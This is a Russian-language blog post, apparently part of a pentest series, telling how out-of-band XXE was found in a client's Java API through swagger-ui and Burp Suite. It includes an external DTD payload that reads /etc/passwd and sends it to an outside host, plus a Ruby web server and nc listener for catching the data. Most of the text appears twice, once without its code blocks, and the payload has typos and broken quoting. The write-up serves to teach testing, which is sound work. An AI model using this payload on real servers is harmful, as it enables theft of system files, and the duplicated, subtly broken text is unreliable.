И снова здравствуйте, уважаемые жители мегаполиса. В прошлый раз мы остановились на том, что я вплотную подобрался к тому, чтобы начать читать интересующие меня логи, но вернемся немного назад. Как же я все-таки нашел то, что привело к компрометации этого сервера. Конечно же, RCE получить я не смог, все-таки для этого нужно, чтобы запущенное приложение работало под Java версии <1.7. У меня же версия была явно выше, в частности 1.8. Все дело в том, что в новых версиях Java был отключен сетевой протокол Gopher, с помощью которого можно было реализовать в том числе и RCE. Как, не знаете о таком? На тот момент я тоже не знал о нем. Но если есть желание и стремление окунуться в него с головой, то вперед навстречу знаниям
Ну что ж, мы выяснили почему нам не светило получение удаленное выполнение кода.
Этого я еще не знал, я только сидел на рабочем месте и в очередной раз удивлялся тому, почему Burp Suite сожрал всю мою оперативку и опять завис.
Но мне ничего не оставалась, как убить процесс и запустить Burp уже с такими параметрами
Это не давало ему возможности использовать больше 2 гигабайт оперативной памяти.
Как ни странно, все было успешно запущенно, и я приступил искать.
Для поиска XXE мне понадобился вебсервер, который я успешно запустил командой, которая приводит в жизнь небольшой сервер на Ruby. Вот собственно и она.
А вот и запущенный мини-сервер, который ждет подключения из вне…
Мне не нужен был Apache и его большой функционал. Мне нужно было лишь проверять, что будет, если я отправлю в своем запросе серверу свою полезную нагрузку для XML парсера, запущенного на нем.
Только необходимо помнить о том (если вы хотите поднять у себя сервак), какой ваш ip адрес (внешний) и открыт ли у вас на машине 80 порт, а также проброшен ли он…
Свой внешний ip вы можете узнать, например, вот такой командой “curl ifconfig.me” и при условии, если у вас на машине есть интернет, то вам вернется ваш же ip, на котором должен быть открыт 80 порт и так далее. Если вам это интересно, то можете написать мне на абонентский ящик, и я вышлю вам свою книгу “Последовательное открытие 65536 портов или как я провел свои выходные”.
Я же перешел в браузер и начал методично отсылать запросы API через swagger-ui, естественно, предварительно настроив проксирование между Burp и моим браузером, чтобы перехватывать все запросы.
Чтобы вы, мои юные читатели, понимали, как это происходит я сделал вот такой поисковой запрос в google “inurl:swagger-ui.html’ он же мне успешно вернул то, где в открытом доступе вы можете также на это посмотреть
Вот так выглядит маленькая часть swagger-ui. В самом скриншоте я тоже написал для вас кое-что, так что не поленитесь и прочитайте.
Что же мы видим на скриншоте и что же нам перехватывать с помощью Burp?
Тут создается стандартный POST запрос, с которым я предпочитаю работать во вкладке “Repeator”, уже много раз упоминавшегося здесь Burp. Это наш перехваченный запрос.
Нас интересует строка “content type: application/json”. Она означает следующее: мы говорим серверу о том, что в данный момент мы будет отправлять ему какие-то данные в теле запроса и это будет в формате JSON, о котором более подробно вы можете почитать здесь:
Он же, как хороший сервер, будет возвращать нам ответ в окне “Response”, в данном случае он нам ответил двумя фигурными скобками. Не желает он с нами общаться, но мы не гордые, пойдем по другому пути.
Итак, а что же произойдет, если мы изменим “content type: applications/json” на “content type: applications/xml”?
В этом случае нам вернется вот такой ответ: в нем говорится о том, что данный формат не будет обрабатываться сервером, и что вы можете катиться в любые четыре стороны. Но этот пример взят из первой поисковой страницы google, чтобы вы понимали, о чем идет речь.
В моем же случае, как вы уже наверно догадались, сервер вернул ответ без ошибки, что с некоторой долей вероятности означало то, что он может поддерживать XML.
Я был обескуражен такой добротой разработчиков, которые забыли убрать этот формат из поддерживаемых, и я решил не медлить, вдруг они вот-вот собирались это исправить. Также я надеялся, что в парсере XML разрешены внешние сущности, иначе это был провал…
Отправив на сервер запрос такого содержания.
Давайте немного разберем, что же я отправил.
Ну, во-первых, строкой <?xml version="1.0"?> я сказал серверу, что у нас тут вообще-то xml документ версии 1.0
Дальше я сказал, что у меня есть внешняя сущность, которая расположена на моем сервере, который я успешно до этого запустил чуть выше. И, будь любезен, обратись к ней, чтобы взять оттуда мою полезную нагрузку и работать дальше.
В файл essence.dtd на моем сервере, я поместил следующую полезную нагрузку.
Файл essence.dtd содержит
И в нем говорится, что сервер должен прочитать у себя файл /etc/passwd, который содержит информацию о пользователях в системе, и отправить эту информацию GET запросом в переменной %p1 обратно на мой же сервер, где я слушаю этот порт с помощью вот такой вот команды
Но для начала я даже не разместил этот файл у себя, так как мне нужно было узнать будет ли входящий запрос на мой сервер.
И да, он был…
Это все означало, то что уязвимый сервер успешно обратился ко мне.
Дальше я разместил файл с полезной нагрузкой у себя и отправил запрос, стал ждать, хватит ли прав у пользователя, под которым запущен фраемворк, чтобы прочитать и отправить все это ко мне.
Все это мы узнаем в следующей части моей истории. А она совершенно не за горами, не успеете и моргнуть.
Как вы успели заметить, скриншоты свежие. К сожалению, я не умею перемещаться назад в прошлое и не смогу вам сделать скриншоты с места событий, а заказчик уже давним давно все исправил, так что приходится импровизировать. Благодарю за внимание.
Ссылка скрыта от гостей
Хотя можете себя не утруждать, он уже настолько непопулярен, что вряд ли вы когда-то о нем еще услышите, ну а если вдруг услышите, то напишите мне на абонентский ящик с темой “Я слышал”, и когда услышу сам, то обязательно вам отвечу.Ну что ж, мы выяснили почему нам не светило получение удаленное выполнение кода.
Этого я еще не знал, я только сидел на рабочем месте и в очередной раз удивлялся тому, почему Burp Suite сожрал всю мою оперативку и опять завис.
Но мне ничего не оставалась, как убить процесс и запустить Burp уже с такими параметрами
Это не давало ему возможности использовать больше 2 гигабайт оперативной памяти.
Как ни странно, все было успешно запущенно, и я приступил искать.
Для поиска XXE мне понадобился вебсервер, который я успешно запустил командой, которая приводит в жизнь небольшой сервер на Ruby. Вот собственно и она.
Код:
alias web="ruby -run -e httpd . -p 80"А вот и запущенный мини-сервер, который ждет подключения из вне…
Мне не нужен был Apache и его большой функционал. Мне нужно было лишь проверять, что будет, если я отправлю в своем запросе серверу свою полезную нагрузку для XML парсера, запущенного на нем.
Только необходимо помнить о том (если вы хотите поднять у себя сервак), какой ваш ip адрес (внешний) и открыт ли у вас на машине 80 порт, а также проброшен ли он…
Свой внешний ip вы можете узнать, например, вот такой командой “curl ifconfig.me” и при условии, если у вас на машине есть интернет, то вам вернется ваш же ip, на котором должен быть открыт 80 порт и так далее. Если вам это интересно, то можете написать мне на абонентский ящик, и я вышлю вам свою книгу “Последовательное открытие 65536 портов или как я провел свои выходные”.
Я же перешел в браузер и начал методично отсылать запросы API через swagger-ui, естественно, предварительно настроив проксирование между Burp и моим браузером, чтобы перехватывать все запросы.
Чтобы вы, мои юные читатели, понимали, как это происходит я сделал вот такой поисковой запрос в google “inurl:swagger-ui.html’ он же мне успешно вернул то, где в открытом доступе вы можете также на это посмотреть
Вот так выглядит маленькая часть swagger-ui. В самом скриншоте я тоже написал для вас кое-что, так что не поленитесь и прочитайте.
Что же мы видим на скриншоте и что же нам перехватывать с помощью Burp?
Тут создается стандартный POST запрос, с которым я предпочитаю работать во вкладке “Repeator”, уже много раз упоминавшегося здесь Burp. Это наш перехваченный запрос.
Нас интересует строка “content type: application/json”. Она означает следующее: мы говорим серверу о том, что в данный момент мы будет отправлять ему какие-то данные в теле запроса и это будет в формате JSON, о котором более подробно вы можете почитать здесь:
Ссылка скрыта от гостей
Он же, как хороший сервер, будет возвращать нам ответ в окне “Response”, в данном случае он нам ответил двумя фигурными скобками. Не желает он с нами общаться, но мы не гордые, пойдем по другому пути.
Итак, а что же произойдет, если мы изменим “content type: applications/json” на “content type: applications/xml”?
В этом случае нам вернется вот такой ответ: в нем говорится о том, что данный формат не будет обрабатываться сервером, и что вы можете катиться в любые четыре стороны. Но этот пример взят из первой поисковой страницы google, чтобы вы понимали, о чем идет речь.
В моем же случае, как вы уже наверно догадались, сервер вернул ответ без ошибки, что с некоторой долей вероятности означало то, что он может поддерживать XML.
Я был обескуражен такой добротой разработчиков, которые забыли убрать этот формат из поддерживаемых, и я решил не медлить, вдруг они вот-вот собирались это исправить. Также я надеялся, что в парсере XML разрешены внешние сущности, иначе это был провал…
Отправив на сервер запрос такого содержания.
Давайте немного разберем, что же я отправил.
Ну, во-первых, строкой <?xml version="1.0"?> я сказал серверу, что у нас тут вообще-то xml документ версии 1.0
Дальше я сказал, что у меня есть внешняя сущность, которая расположена на моем сервере, который я успешно до этого запустил чуть выше. И, будь любезен, обратись к ней, чтобы взять оттуда мою полезную нагрузку и работать дальше.
В файл essence.dtd на моем сервере, я поместил следующую полезную нагрузку.
Файл essence.dtd содержит
Код:
<!ENTITY % p1 SYSTEM file:///etc/paasswd>
<!ENTITY % p2 “<!ENTITY e1 SYSTEM ‘http://8.8.8.8:81/BLAH?%p1;’>”>
%p2;И в нем говорится, что сервер должен прочитать у себя файл /etc/passwd, который содержит информацию о пользователях в системе, и отправить эту информацию GET запросом в переменной %p1 обратно на мой же сервер, где я слушаю этот порт с помощью вот такой вот команды
Код:
nc -p 80 -lНо для начала я даже не разместил этот файл у себя, так как мне нужно было узнать будет ли входящий запрос на мой сервер.
И да, он был…
Это все означало, то что уязвимый сервер успешно обратился ко мне.
Дальше я разместил файл с полезной нагрузкой у себя и отправил запрос, стал ждать, хватит ли прав у пользователя, под которым запущен фраемворк, чтобы прочитать и отправить все это ко мне.
Все это мы узнаем в следующей части моей истории. А она совершенно не за горами, не успеете и моргнуть.
Как вы успели заметить, скриншоты свежие. К сожалению, я не умею перемещаться назад в прошлое и не смогу вам сделать скриншоты с места событий, а заказчик уже давним давно все исправил, так что приходится импровизировать. Благодарю за внимание.
